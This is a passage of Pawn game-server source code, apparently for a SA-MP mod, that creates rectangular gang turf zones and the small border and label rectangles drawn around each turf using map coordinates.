	AllTurfsGangZones[205] = GangZoneCreate(1319.000000, -2546.000000, 1323.000000, -2144.000000);
	AllTurfsGangZones[206] = GangZoneCreate(903.000000, -2550.000000, 1323.000000, -2546.000000);
	AllTurfsGangZones[207] = GangZoneCreate(1070.000000, -2329.000000, 1105.000000, -2322.000000);
	AllTurfsGangZones[208] = GangZoneCreate(1098.000000, -2342.000000, 1105.000000, -2329.000000);
	AllTurfsGangZones[209] = GangZoneCreate(1070.000000, -2349.000000, 1105.000000, -2342.000000);
	AllTurfsGangZones[210] = GangZoneCreate(1070.000000, -2362.000000, 1077.000000, -2349.000000);
	AllTurfsGangZones[211] = GangZoneCreate(1070.000000, -2369.000000, 1105.000000, -2362.000000);
	AllTurfsGangZones[212] = GangZoneCreate(1134.000000, -2369.000000, 1141.000000, -2322.000000);
	//AllTurfsGangZones[213] = GangZoneCreate(500.000000, -1828.000000, 901.000000, -1372.000000);
	Turfs[22] = GangZoneCreate(500.000000, -1828.000000, 901.000000, -1372.000000);// 213
	TurfsX[22] = CreateDynamicRectangle(500.000000, -1828.000000, 901.000000, -1372.000000, -1, 0);
	AllTurfsGangZones[214] = GangZoneCreate(498.000000, -1826.000000, 502.000000, -1374.000000);
	AllTurfsGangZones[215] = GangZoneCreate(498.000000, -1374.000000, 903.000000, -1370.000000);
	AllTurfsGangZones[216] = GangZoneCreate(899.000000, -1826.000000, 903.000000, -1374.000000);
	AllTurfsGangZones[217] = GangZoneCreate(498.000000, -1830.000000, 903.000000, -1826.000000);
	AllTurfsGangZones[218] = GangZoneCreate(658.000000, -1584.000000, 693.000000, -1577.000000);
	AllTurfsGangZones[219] = GangZoneCreate(686.000000, -1597.000000, 693.000000, -1584.000000);
	AllTurfsGangZones[220] = GangZoneCreate(658.000000, -1604.000000, 693.000000, -1597.000000);
	AllTurfsGangZones[221] = GangZoneCreate(658.000000, -1617.000000, 665.000000, -1604.000000);
	AllTurfsGangZones[222] = GangZoneCreate(658.000000, -1624.000000, 693.000000, -1617.000000);
	AllTurfsGangZones[223] = GangZoneCreate(708.000000, -1584.000000, 743.000000, -1577.000000);
	AllTurfsGangZones[224] = GangZoneCreate(736.000000, -1597.000000, 743.000000, -1584.000000);
	AllTurfsGangZones[225] = GangZoneCreate(708.000000, -1604.000000, 743.000000, -1597.000000);
	AllTurfsGangZones[226] = GangZoneCreate(708.000000, -1617.000000, 715.000000, -1604.000000);
	AllTurfsGangZones[227] = GangZoneCreate(708.000000, -1624.000000, 743.000000, -1617.000000);
	//AllTurfsGangZones[228] = GangZoneCreate(95.000000, -1828.000000, 496.000000, -1372.000000);
	Turfs[23] = GangZoneCreate(95.000000, -1828.000000, 496.000000, -1372.000000);// 228
	TurfsX[23] = CreateDynamicRectangle(95.000000, -1828.000000, 496.000000, -1372.000000, -1, 0);
	AllTurfsGangZones[229] = GangZoneCreate(93.000000, -1826.000000, 97.000000, -1374.000000);
	AllTurfsGangZones[230] = GangZoneCreate(93.000000, -1374.000000, 498.000000, -1370.000000);
	AllTurfsGangZones[231] = GangZoneCreate(494.000000, -1826.000000, 498.000000, -1374.000000);
	AllTurfsGangZones[232] = GangZoneCreate(93.000000, -1830.000000, 498.000000, -1826.000000);
	AllTurfsGangZones[233] = GangZoneCreate(253.000000, -1584.000000, 288.000000, -1577.000000);
	AllTurfsGangZones[234] = GangZoneCreate(281.000000, -1597.000000, 288.000000, -1584.000000);
	AllTurfsGangZones[235] = GangZoneCreate(253.000000, -1604.000000, 288.000000, -1597.000000);
	AllTurfsGangZones[236] = GangZoneCreate(253.000000, -1617.000000, 260.000000, -1604.000000);
	AllTurfsGangZones[237] = GangZoneCreate(253.000000, -1624.000000, 288.000000, -1617.000000);
	AllTurfsGangZones[238] = GangZoneCreate(303.000000, -1584.000000, 338.000000, -1577.000000);
	AllTurfsGangZones[239] = GangZoneCreate(338.000000, -1624.000000, 345.000000, -1577.000000);
	AllTurfsGangZones[240] = GangZoneCreate(303.000000, -1604.000000, 338.000000, -1597.000000);
	AllTurfsGangZones[241] = GangZoneCreate(303.000000, -1624.000000, 338.000000, -1617.000000);
	//AllTurfsGangZones[242] = GangZoneCreate(1133.000000, 2430.000000, 1484.000000, 2886.000000);
	Turfs[24] = GangZoneCreate(1133.000000, 2430.000000, 1484.000000, 2886.000000);// 242
	TurfsX[24] = CreateDynamicRectangle(1133.000000, 2430.000000, 1484.000000, 2886.000000, -1, 0);
	AllTurfsGangZones[243] = GangZoneCreate(1131.000000, 2432.000000, 1135.000000, 2884.000000);
	AllTurfsGangZones[244] = GangZoneCreate(1131.000000, 2884.000000, 1486.000000, 2888.000000);
	AllTurfsGangZones[245] = GangZoneCreate(1482.000000, 2432.000000, 1486.000000, 2884.000000);
	AllTurfsGangZones[246] = GangZoneCreate(1131.000000, 2428.000000, 1486.000000, 2432.000000);
	AllTurfsGangZones[247] = GangZoneCreate(1266.000000, 2674.000000, 1301.000000, 2681.000000);
	AllTurfsGangZones[248] = GangZoneCreate(1294.000000, 2661.000000, 1301.000000, 2674.000000);
	AllTurfsGangZones[249] = GangZoneCreate(1266.000000, 2654.000000, 1301.000000, 2661.000000);
	AllTurfsGangZones[250] = GangZoneCreate(1266.000000, 2641.000000, 1273.000000, 2654.000000);
	AllTurfsGangZones[251] = GangZoneCreate(1266.000000, 2634.000000, 1301.000000, 2641.000000);
	AllTurfsGangZones[252] = GangZoneCreate(1316.000000, 2678.000000, 1323.000000, 2661.000000);
	AllTurfsGangZones[253] = GangZoneCreate(1316.000000, 2654.000000, 1351.000000, 2661.000000);
	AllTurfsGangZones[254] = GangZoneCreate(1351.000000, 2638.000000, 1358.000000, 2678.000000);
	//AllTurfsGangZones[255] = GangZoneCreate(1488.000000, 2430.000000, 1839.000000, 2886.000000);
	Turfs[25] = GangZoneCreate(1488.000000, 2430.000000, 1839.000000, 2886.000000);// 255
	TurfsX[25] = CreateDynamicRectangle(1488.000000, 2430.000000, 1839.000000, 2886.000000, -1, 0);
	AllTurfsGangZones[256] = GangZoneCreate(1486.000000, 2432.000000, 1490.000000, 2884.000000);
	AllTurfsGangZones[257] = GangZoneCreate(1486.000000, 2884.000000, 1841.000000, 2888.000000);
	AllTurfsGangZones[258] = GangZoneCreate(1837.000000, 2432.000000, 1841.000000, 2884.000000);
	AllTurfsGangZones[259] = GangZoneCreate(1486.000000, 2428.000000, 1841.000000, 2432.000000);
	AllTurfsGangZones[260] = GangZoneCreate(1621.000000, 2674.000000, 1656.000000, 2681.000000);
	AllTurfsGangZones[261] = GangZoneCreate(1649.000000, 2661.000000, 1656.000000, 2674.000000);
	AllTurfsGangZones[262] = GangZoneCreate(1621.000000, 2654.000000, 1656.000000, 2661.000000);
	AllTurfsGangZones[263] = GangZoneCreate(1621.000000, 2641.000000, 1628.000000, 2654.000000);
	AllTurfsGangZones[264] = GangZoneCreate(1621.000000, 2634.000000, 1656.000000, 2641.000000);
	AllTurfsGangZones[265] = GangZoneCreate(1667.000000, 2674.000000, 1709.000000, 2681.000000);
	AllTurfsGangZones[266] = GangZoneCreate(1667.000000, 2661.000000, 1674.000000, 2674.000000);
	AllTurfsGangZones[267] = GangZoneCreate(1667.000000, 2654.000000, 1709.000000, 2661.000000);
	AllTurfsGangZones[268] = GangZoneCreate(1702.000000, 2654.000000, 1709.000000, 2641.000000);
	AllTurfsGangZones[269] = GangZoneCreate(1667.000000, 2634.000000, 1709.000000, 2641.000000);
	//AllTurfsGangZones[270] = GangZoneCreate(1843.000000, 2430.000000, 2194.000000, 2886.000000);
	Turfs[26] = GangZoneCreate(1843.000000, 2430.000000, 2194.000000, 2886.000000);// 270
	TurfsX[26] = CreateDynamicRectangle(1843.000000, 2430.000000, 2194.000000, 2886.000000, -1, 0);
	AllTurfsGangZones[271] = GangZoneCreate(1841.000000, 2432.000000, 1845.000000, 2884.000000);
	AllTurfsGangZones[272] = GangZoneCreate(1841.000000, 2884.000000, 2196.000000, 2888.000000);
	AllTurfsGangZones[273] = GangZoneCreate(2192.000000, 2432.000000, 2196.000000, 2884.000000);
	AllTurfsGangZones[274] = GangZoneCreate(1841.000000, 2428.000000, 2196.000000, 2432.000000);
	AllTurfsGangZones[275] = GangZoneCreate(1976.000000, 2674.000000, 2011.000000, 2681.000000);
	AllTurfsGangZones[276] = GangZoneCreate(2004.000000, 2661.000000, 2011.000000, 2674.000000);
	AllTurfsGangZones[277] = GangZoneCreate(1976.000000, 2654.000000, 2011.000000, 2661.000000);
	AllTurfsGangZones[278] = GangZoneCreate(1976.000000, 2641.000000, 1983.000000, 2654.000000);
	AllTurfsGangZones[279] = GangZoneCreate(1976.000000, 2634.000000, 2011.000000, 2641.000000);
	AllTurfsGangZones[280] = GangZoneCreate(2026.000000, 2674.000000, 2061.000000, 2681.000000);
	AllTurfsGangZones[281] = GangZoneCreate(2019.000000, 2681.000000, 2026.000000, 2634.000000);
	AllTurfsGangZones[282] = GangZoneCreate(2026.000000, 2654.000000, 2061.000000, 2661.000000);
	AllTurfsGangZones[283] = GangZoneCreate(2026.000000, 2634.000000, 2061.000000, 2641.000000);
	AllTurfsGangZones[284] = GangZoneCreate(2054.000000, 2641.000000, 2061.000000, 2654.000000);
	//AllTurfsGangZones[285] = GangZoneCreate(2198.000000, 2430.000000, 2549.000000, 2886.000000);
	Turfs[27] = GangZoneCreate(2198.000000, 2430.000000, 2549.000000, 2886.000000);// 285
	TurfsX[27] = CreateDynamicRectangle(2198.000000, 2430.000000, 2549.000000, 2886.000000, -1, 0);
	AllTurfsGangZones[286] = GangZoneCreate(2196.000000, 2432.000000, 2200.000000, 2884.000000);
	AllTurfsGangZones[287] = GangZoneCreate(2196.000000, 2884.000000, 2551.000000, 2888.000000);
	AllTurfsGangZones[288] = GangZoneCreate(2547.000000, 2432.000000, 2551.000000, 2884.000000);
	AllTurfsGangZones[289] = GangZoneCreate(2196.000000, 2428.000000, 2551.000000, 2432.000000);
	AllTurfsGangZones[290] = GangZoneCreate(2331.000000, 2674.000000, 2366.000000, 2681.000000);
	AllTurfsGangZones[291] = GangZoneCreate(2359.000000, 2661.000000, 2366.000000, 2674.000000);
	AllTurfsGangZones[292] = GangZoneCreate(2331.000000, 2654.000000, 2366.000000, 2661.000000);
	AllTurfsGangZones[293] = GangZoneCreate(2331.000000, 2641.000000, 2338.000000, 2654.000000);
	AllTurfsGangZones[294] = GangZoneCreate(2331.000000, 2634.000000, 2366.000000, 2641.000000);
	AllTurfsGangZones[295] = GangZoneCreate(2405.000000, 2634.000000, 2412.000000, 2674.000000);
	AllTurfsGangZones[296] = GangZoneCreate(2377.000000, 2674.000000, 2412.000000, 2681.000000);
	//AllTurfsGangZones[297] = GangZoneCreate(2553.000000, 2430.000000, 2904.000000, 2886.000000);
	Turfs[28] = GangZoneCreate(2553.000000, 2430.000000, 2904.000000, 2886.000000);// 297
	TurfsX[28] = CreateDynamicRectangle(2553.000000, 2430.000000, 2904.000000, 2886.000000, -1, 0);
	AllTurfsGangZones[298] = GangZoneCreate(2551.000000, 2432.000000, 2555.000000, 2884.000000);
	AllTurfsGangZones[299] = GangZoneCreate(2551.000000, 2884.000000, 2906.000000, 2888.000000);
	AllTurfsGangZones[300] = GangZoneCreate(2902.000000, 2432.000000, 2906.000000, 2884.000000);
	AllTurfsGangZones[301] = GangZoneCreate(2551.000000, 2428.000000, 2906.000000, 2432.000000);
	AllTurfsGangZones[302] = GangZoneCreate(2686.000000, 2674.000000, 2721.000000, 2681.000000);
	AllTurfsGangZones[303] = GangZoneCreate(2714.000000, 2661.000000, 2721.000000, 2674.000000);
	AllTurfsGangZones[304] = GangZoneCreate(2686.000000, 2654.000000, 2721.000000, 2661.000000);
	AllTurfsGangZones[305] = GangZoneCreate(2686.000000, 2641.000000, 2693.000000, 2654.000000);
	AllTurfsGangZones[306] = GangZoneCreate(2686.000000, 2634.000000, 2721.000000, 2641.000000);
	AllTurfsGangZones[307] = GangZoneCreate(2732.000000, 2681.000000, 2739.000000, 2634.000000);
	AllTurfsGangZones[308] = GangZoneCreate(2767.000000, 2681.000000, 2774.000000, 2634.000000);
	AllTurfsGangZones[309] = GangZoneCreate(2739.000000, 2674.000000, 2767.000000, 2681.000000);
	AllTurfsGangZones[310] = GangZoneCreate(2739.000000, 2654.000000, 2767.000000, 2661.000000);
	AllTurfsGangZones[311] = GangZoneCreate(2739.000000, 2634.000000, 2767.000000, 2641.000000);
	//AllTurfsGangZones[312] = GangZoneCreate(883.000000, 1965.000000, 1294.000000, 2426.000000);
	Turfs[29] = GangZoneCreate(883.000000, 1965.000000, 1294.000000, 2426.000000);// 312
	TurfsX[29] = CreateDynamicRectangle(883.000000, 1965.000000, 1294.000000, 2426.000000, -1, 0);
	AllTurfsGangZones[313] = GangZoneCreate(881.000000, 1967.000000, 885.000000, 2424.000000);
	AllTurfsGangZones[314] = GangZoneCreate(881.000000, 2424.000000, 1296.000000, 2428.000000);
	AllTurfsGangZones[315] = GangZoneCreate(1292.000000, 1967.000000, 1296.000000, 2424.000000);
	AllTurfsGangZones[316] = GangZoneCreate(881.000000, 1963.000000, 1296.000000, 1967.000000);
	AllTurfsGangZones[317] = GangZoneCreate(1046.000000, 2212.000000, 1081.000000, 2219.000000);
	AllTurfsGangZones[318] = GangZoneCreate(1074.000000, 2199.000000, 1081.000000, 2212.000000);
	AllTurfsGangZones[319] = GangZoneCreate(1046.000000, 2192.000000, 1081.000000, 2199.000000);
	AllTurfsGangZones[320] = GangZoneCreate(1046.000000, 2179.000000, 1053.000000, 2192.000000);
	AllTurfsGangZones[321] = GangZoneCreate(1046.000000, 2172.000000, 1081.000000, 2179.000000);
	AllTurfsGangZones[322] = GangZoneCreate(1092.000000, 2195.000000, 1099.000000, 2212.000000);
	AllTurfsGangZones[323] = GangZoneCreate(1131.000000, 2172.000000, 1138.000000, 2219.000000);
	AllTurfsGangZones[324] = GangZoneCreate(1092.000000, 2212.000000, 1131.000000, 2219.000000);
	AllTurfsGangZones[325] = GangZoneCreate(1099.000000, 2195.000000, 1131.000000, 2202.000000);
	AllTurfsGangZones[326] = GangZoneCreate(1092.000000, 2172.000000, 1131.000000, 2179.000000);
	//AllTurfsGangZones[327] = GangZoneCreate(1298.000000, 1965.000000, 1709.000000, 2426.000000);
	Turfs[30] = GangZoneCreate(1298.000000, 1965.000000, 1709.000000, 2426.000000);// 327
	TurfsX[30] = CreateDynamicRectangle(1298.000000, 1965.000000, 1709.000000, 2426.000000, -1, 0);
	AllTurfsGangZones[328] = GangZoneCreate(1296.000000, 1967.000000, 1300.000000, 2424.000000);
	AllTurfsGangZones[329] = GangZoneCreate(1296.000000, 2424.000000, 1711.000000, 2428.000000);
	AllTurfsGangZones[330] = GangZoneCreate(1707.000000, 1967.000000, 1711.000000, 2424.000000);
	AllTurfsGangZones[331] = GangZoneCreate(1296.000000, 1963.000000, 1711.000000, 1967.000000);
	AllTurfsGangZones[332] = GangZoneCreate(1461.000000, 2212.000000, 1496.000000, 2219.000000);
	AllTurfsGangZones[333] = GangZoneCreate(1496.000000, 2172.000000, 1503.000000, 2219.000000);
	AllTurfsGangZones[334] = GangZoneCreate(1461.000000, 2192.000000, 1496.000000, 2199.000000);
	AllTurfsGangZones[335] = GangZoneCreate(1461.000000, 2172.000000, 1496.000000, 2179.000000);
	AllTurfsGangZones[336] = GangZoneCreate(1511.000000, 2172.000000, 1546.000000, 2179.000000);
	AllTurfsGangZones[337] = GangZoneCreate(1511.000000, 2219.000000, 1546.000000, 2212.000000);
	AllTurfsGangZones[338] = GangZoneCreate(1511.000000, 2179.000000, 1518.000000, 2212.000000);
	AllTurfsGangZones[339] = GangZoneCreate(1539.000000, 2179.000000, 1546.000000, 2212.000000);
	//AllTurfsGangZones[340] = GangZoneCreate(1713.000000, 1965.000000, 2124.000000, 2426.000000);
	Turfs[31] = GangZoneCreate(1713.000000, 1965.000000, 2124.000000, 2426.000000);// 340
	TurfsX[31] = CreateDynamicRectangle(1713.000000, 1965.000000, 2124.000000, 2426.000000, -1, 0);
	AllTurfsGangZones[341] = GangZoneCreate(1711.000000, 1967.000000, 1715.000000, 2424.000000);
	AllTurfsGangZones[342] = GangZoneCreate(1711.000000, 2424.000000, 2126.000000, 2428.000000);
	AllTurfsGangZones[343] = GangZoneCreate(2122.000000, 1967.000000, 2126.000000, 2424.000000);
	AllTurfsGangZones[344] = GangZoneCreate(1711.000000, 1963.000000, 2126.000000, 1967.000000);
	AllTurfsGangZones[345] = GangZoneCreate(1876.000000, 2212.000000, 1911.000000, 2219.000000);
	AllTurfsGangZones[346] = GangZoneCreate(1911.000000, 2172.000000, 1918.000000, 2219.000000);
	AllTurfsGangZones[347] = GangZoneCreate(1876.000000, 2192.000000, 1911.000000, 2199.000000);
	AllTurfsGangZones[348] = GangZoneCreate(1876.000000, 2172.000000, 1911.000000, 2179.000000);
	AllTurfsGangZones[349] = GangZoneCreate(1940.000000, 2172.000000, 1947.000000, 2219.000000);
	//AllTurfsGangZones[350] = GangZoneCreate(2128.000000, 1965.000000, 2539.000000, 2426.000000);
	Turfs[32] = GangZoneCreate(2128.000000, 1965.000000, 2539.000000, 2426.000000);// 350
	TurfsX[32] = CreateDynamicRectangle(2128.000000, 1965.000000, 2539.000000, 2426.000000, -1, 0);
	AllTurfsGangZones[351] = GangZoneCreate(2126.000000, 1967.000000, 2130.000000, 2424.000000);
	AllTurfsGangZones[352] = GangZoneCreate(2126.000000, 2424.000000, 2541.000000, 2428.000000);
	AllTurfsGangZones[353] = GangZoneCreate(2537.000000, 1967.000000, 2541.000000, 2424.000000);
	AllTurfsGangZones[354] = GangZoneCreate(2126.000000, 1963.000000, 2541.000000, 1967.000000);
	AllTurfsGangZones[355] = GangZoneCreate(2291.000000, 2212.000000, 2326.000000, 2219.000000);
	AllTurfsGangZones[356] = GangZoneCreate(2326.000000, 2172.000000, 2333.000000, 2219.000000);
	AllTurfsGangZones[357] = GangZoneCreate(2291.000000, 2192.000000, 2326.000000, 2199.000000);
	AllTurfsGangZones[358] = GangZoneCreate(2291.000000, 2172.000000, 2326.000000, 2179.000000);
	AllTurfsGangZones[359] = GangZoneCreate(2341.000000, 2212.000000, 2376.000000, 2219.000000);
	AllTurfsGangZones[360] = GangZoneCreate(2369.000000, 2199.000000, 2376.000000, 2212.000000);
	AllTurfsGangZones[361] = GangZoneCreate(2341.000000, 2192.000000, 2376.000000, 2199.000000);
	AllTurfsGangZones[362] = GangZoneCreate(2341.000000, 2179.000000, 2348.000000, 2192.000000);
	AllTurfsGangZones[363] = GangZoneCreate(2341.000000, 2172.000000, 2376.000000, 2179.000000);
	//AllTurfsGangZones[364] = GangZoneCreate(2543.000000, 1965.000000, 2904.000000, 2426.000000);
	Turfs[34] = GangZoneCreate(2543.000000, 1965.000000, 2904.000000, 2426.000000);// 364
	TurfsX[34] = CreateDynamicRectangle(2543.000000, 1965.000000, 2904.000000, 2426.000000, -1, 0);
	AllTurfsGangZones[365] = GangZoneCreate(2541.000000, 1967.000000, 2545.000000, 2424.000000);
	AllTurfsGangZones[366] = GangZoneCreate(2541.000000, 2424.000000, 2906.000000, 2428.000000);
	AllTurfsGangZones[367] = GangZoneCreate(2902.000000, 1967.000000, 2906.000000, 2424.000000);
	AllTurfsGangZones[368] = GangZoneCreate(2541.000000, 1963.000000, 2906.000000, 1967.000000);
	AllTurfsGangZones[369] = GangZoneCreate(2681.000000, 2212.000000, 2716.000000, 2219.000000);
	AllTurfsGangZones[370] = GangZoneCreate(2716.000000, 2172.000000, 2723.000000, 2219.000000);
	AllTurfsGangZones[371] = GangZoneCreate(2681.000000, 2192.000000, 2716.000000, 2199.000000);
	AllTurfsGangZones[372] = GangZoneCreate(2681.000000, 2172.000000, 2716.000000, 2179.000000);
	AllTurfsGangZones[373] = GangZoneCreate(2731.000000, 2212.000000, 2766.000000, 2219.000000);
	AllTurfsGangZones[374] = GangZoneCreate(2766.000000, 2172.000000, 2773.000000, 2219.000000);
	AllTurfsGangZones[375] = GangZoneCreate(2731.000000, 2192.000000, 2766.000000, 2199.000000);
	AllTurfsGangZones[376] = GangZoneCreate(2731.000000, 2172.000000, 2766.000000, 2179.000000);
	//AllTurfsGangZones[377] = GangZoneCreate(883.000000, 1500.000000, 1294.000000, 1961.000000);
	Turfs[35] = GangZoneCreate(883.000000, 1500.000000, 1294.000000, 1961.000000);// 377
	TurfsX[35] = CreateDynamicRectangle(883.000000, 1500.000000, 1294.000000, 1961.000000, -1, 0);
	AllTurfsGangZones[378] = GangZoneCreate(881.000000, 1502.000000, 885.000000, 1959.000000);
	AllTurfsGangZones[379] = GangZoneCreate(881.000000, 1959.000000, 1296.000000, 1963.000000);
	AllTurfsGangZones[380] = GangZoneCreate(1292.000000, 1502.000000, 1296.000000, 1959.000000);
	AllTurfsGangZones[381] = GangZoneCreate(881.000000, 1498.000000, 1296.000000, 1502.000000);
	AllTurfsGangZones[382] = GangZoneCreate(1046.000000, 1747.000000, 1081.000000, 1754.000000);
	AllTurfsGangZones[383] = GangZoneCreate(1081.000000, 1707.000000, 1088.000000, 1754.000000);
	AllTurfsGangZones[384] = GangZoneCreate(1046.000000, 1727.000000, 1081.000000, 1734.000000);
	AllTurfsGangZones[385] = GangZoneCreate(1046.000000, 1707.000000, 1081.000000, 1714.000000);
	AllTurfsGangZones[386] = GangZoneCreate(1096.000000, 1750.000000, 1103.000000, 1734.000000);
	AllTurfsGangZones[387] = GangZoneCreate(1096.000000, 1727.000000, 1131.000000, 1734.000000);
	AllTurfsGangZones[388] = GangZoneCreate(1131.000000, 1710.000000, 1138.000000, 1750.000000);
	//AllTurfsGangZones[389] = GangZoneCreate(1298.000000, 1500.000000, 1709.000000, 1961.000000);
	Turfs[36] = GangZoneCreate(1298.000000, 1500.000000, 1709.000000, 1961.000000);// 389
	TurfsX[36] = CreateDynamicRectangle(1298.000000, 1500.000000, 1709.000000, 1961.000000, -1, 0);
	AllTurfsGangZones[390] = GangZoneCreate(1296.000000, 1502.000000, 1300.000000, 1959.000000);
	AllTurfsGangZones[391] = GangZoneCreate(1296.000000, 1959.000000, 1711.000000, 1963.000000);
	AllTurfsGangZones[392] = GangZoneCreate(1707.000000, 1502.000000, 1711.000000, 1959.000000);
	AllTurfsGangZones[393] = GangZoneCreate(1296.000000, 1498.000000, 1711.000000, 1502.000000);
	AllTurfsGangZones[394] = GangZoneCreate(1461.000000, 1747.000000, 1496.000000, 1754.000000);
	AllTurfsGangZones[395] = GangZoneCreate(1496.000000, 1707.000000, 1503.000000, 1754.000000);
	AllTurfsGangZones[396] = GangZoneCreate(1461.000000, 1727.000000, 1496.000000, 1734.000000);
	AllTurfsGangZones[397] = GangZoneCreate(1461.000000, 1707.000000, 1496.000000, 1714.000000);
	AllTurfsGangZones[398] = GangZoneCreate(1507.000000, 1747.000000, 1549.000000, 1754.000000);
	AllTurfsGangZones[399] = GangZoneCreate(1507.000000, 1734.000000, 1514.000000, 1747.000000);
	AllTurfsGangZones[400] = GangZoneCreate(1507.000000, 1727.000000, 1549.000000, 1734.000000);
	AllTurfsGangZones[401] = GangZoneCreate(1542.000000, 1727.000000, 1549.000000, 1714.000000);
	AllTurfsGangZones[402] = GangZoneCreate(1507.000000, 1707.000000, 1549.000000, 1714.000000);
	//AllTurfsGangZones[403] = GangZoneCreate(1713.000000, 1500.000000, 2124.000000, 1961.000000);
	Turfs[37] = GangZoneCreate(1713.000000, 1500.000000, 2124.000000, 1961.000000);// 403
	TurfsX[37] = CreateDynamicRectangle(1713.000000, 1500.000000, 2124.000000, 1961.000000, -1, 0);
	AllTurfsGangZones[404] = GangZoneCreate(1711.000000, 1502.000000, 1715.000000, 1959.000000);
	AllTurfsGangZones[405] = GangZoneCreate(1711.000000, 1959.000000, 2126.000000, 1963.000000);
	AllTurfsGangZones[406] = GangZoneCreate(2122.000000, 1502.000000, 2126.000000, 1959.000000);
	AllTurfsGangZones[407] = GangZoneCreate(1711.000000, 1498.000000, 2126.000000, 1502.000000);
	AllTurfsGangZones[408] = GangZoneCreate(1876.000000, 1747.000000, 1911.000000, 1754.000000);
	AllTurfsGangZones[409] = GangZoneCreate(1911.000000, 1707.000000, 1918.000000, 1754.000000);
	AllTurfsGangZones[410] = GangZoneCreate(1876.000000, 1727.000000, 1911.000000, 1734.000000);
	AllTurfsGangZones[411] = GangZoneCreate(1876.000000, 1707.000000, 1911.000000, 1714.000000);
	AllTurfsGangZones[412] = GangZoneCreate(1926.000000, 1747.000000, 1961.000000, 1754.000000);
	AllTurfsGangZones[413] = GangZoneCreate(1919.000000, 1754.000000, 1926.000000, 1707.000000);
	AllTurfsGangZones[414] = GangZoneCreate(1926.000000, 1727.000000, 1961.000000, 1734.000000);
	AllTurfsGangZones[415] = GangZoneCreate(1926.000000, 1707.000000, 1961.000000, 1714.000000);
	AllTurfsGangZones[416] = GangZoneCreate(1954.000000, 1714.000000, 1961.000000, 1727.000000);
	//AllTurfsGangZones[417] = GangZoneCreate(2128.000000, 1500.000000, 2539.000000, 1961.000000);
	Turfs[38] = GangZoneCreate(2128.000000, 1500.000000, 2539.000000, 1961.000000);// 417
	TurfsX[38] = CreateDynamicRectangle(2128.000000, 1500.000000, 2539.000000, 1961.000000, -1, 0);
	AllTurfsGangZones[418] = GangZoneCreate(2126.000000, 1502.000000, 2130.000000, 1959.000000);
	AllTurfsGangZones[419] = GangZoneCreate(2126.000000, 1959.000000, 2541.000000, 1963.000000);
	AllTurfsGangZones[420] = GangZoneCreate(2537.000000, 1502.000000, 2541.000000, 1959.000000);
	AllTurfsGangZones[421] = GangZoneCreate(2126.000000, 1498.000000, 2541.000000, 1502.000000);
	AllTurfsGangZones[422] = GangZoneCreate(2291.000000, 1747.000000, 2326.000000, 1754.000000);
	AllTurfsGangZones[423] = GangZoneCreate(2326.000000, 1707.000000, 2333.000000, 1754.000000);
	AllTurfsGangZones[424] = GangZoneCreate(2291.000000, 1727.000000, 2326.000000, 1734.000000);
	AllTurfsGangZones[425] = GangZoneCreate(2291.000000, 1707.000000, 2326.000000, 1714.000000);
	AllTurfsGangZones[426] = GangZoneCreate(2365.000000, 1707.000000, 2372.000000, 1747.000000);
	AllTurfsGangZones[427] = GangZoneCreate(2337.000000, 1747.000000, 2372.000000, 1754.000000);
	//AllTurfsGangZones[428] = GangZoneCreate(2543.000000, 1500.000000, 2904.000000, 1961.000000);
	Turfs[39] = GangZoneCreate(2543.000000, 1500.000000, 2904.000000, 1961.000000);// 428
	TurfsX[39] = CreateDynamicRectangle(2543.000000, 1500.000000, 2904.000000, 1961.000000, -1, 0);
	AllTurfsGangZones[429] = GangZoneCreate(2541.000000, 1502.000000, 2545.000000, 1959.000000);
	AllTurfsGangZones[430] = GangZoneCreate(2541.000000, 1959.000000, 2906.000000, 1963.000000);
	AllTurfsGangZones[431] = GangZoneCreate(2902.000000, 1502.000000, 2906.000000, 1959.000000);
	AllTurfsGangZones[432] = GangZoneCreate(2541.000000, 1498.000000, 2906.000000, 1502.000000);
	AllTurfsGangZones[433] = GangZoneCreate(2681.000000, 1747.000000, 2716.000000, 1754.000000);
	AllTurfsGangZones[434] = GangZoneCreate(2716.000000, 1707.000000, 2723.000000, 1754.000000);
	AllTurfsGangZones[435] = GangZoneCreate(2681.000000, 1727.000000, 2716.000000, 1734.000000);
	AllTurfsGangZones[436] = GangZoneCreate(2681.000000, 1707.000000, 2716.000000, 1714.000000);
	AllTurfsGangZones[437] = GangZoneCreate(2727.000000, 1754.000000, 2734.000000, 1707.000000);
	AllTurfsGangZones[438] = GangZoneCreate(2762.000000, 1754.000000, 2769.000000, 1707.000000);
	AllTurfsGangZones[439] = GangZoneCreate(2734.000000, 1747.000000, 2762.000000, 1754.000000);
	AllTurfsGangZones[440] = GangZoneCreate(2734.000000, 1727.000000, 2762.000000, 1734.000000);
	AllTurfsGangZones[441] = GangZoneCreate(2734.000000, 1707.000000, 2762.000000, 1714.000000);
	//AllTurfsGangZones[442] = GangZoneCreate(883.000000, 1035.000000, 1294.000000, 1496.000000);
	Turfs[40] = GangZoneCreate(883.000000, 1035.000000, 1294.000000, 1496.000000);// 442
	TurfsX[40] = CreateDynamicRectangle(883.000000, 1035.000000, 1294.000000, 1496.000000, -1, 0);
	AllTurfsGangZones[443] = GangZoneCreate(881.000000, 1037.000000, 885.000000, 1494.000000);
	AllTurfsGangZones[444] = GangZoneCreate(881.000000, 1494.000000, 1296.000000, 1498.000000);
	AllTurfsGangZones[445] = GangZoneCreate(1292.000000, 1037.000000, 1296.000000, 1494.000000);
	AllTurfsGangZones[446] = GangZoneCreate(881.000000, 1033.000000, 1296.000000, 1037.000000);
	AllTurfsGangZones[447] = GangZoneCreate(1046.000000, 1282.000000, 1081.000000, 1289.000000);
	AllTurfsGangZones[448] = GangZoneCreate(1081.000000, 1242.000000, 1088.000000, 1289.000000);
	AllTurfsGangZones[449] = GangZoneCreate(1046.000000, 1262.000000, 1081.000000, 1269.000000);
	AllTurfsGangZones[450] = GangZoneCreate(1046.000000, 1242.000000, 1081.000000, 1249.000000);
	AllTurfsGangZones[451] = GangZoneCreate(1092.000000, 1265.000000, 1099.000000, 1282.000000);
	AllTurfsGangZones[452] = GangZoneCreate(1131.000000, 1242.000000, 1138.000000, 1289.000000);
	AllTurfsGangZones[453] = GangZoneCreate(1092.000000, 1282.000000, 1131.000000, 1289.000000);
	AllTurfsGangZones[454] = GangZoneCreate(1099.000000, 1265.000000, 1131.000000, 1272.000000);
	AllTurfsGangZones[455] = GangZoneCreate(1092.000000, 1242.000000, 1131.000000, 1249.000000);
	//AllTurfsGangZones[456] = GangZoneCreate(1298.000000, 1035.000000, 1709.000000, 1496.000000);
	Turfs[41] = GangZoneCreate(1298.000000, 1035.000000, 1709.000000, 1496.000000);// 456
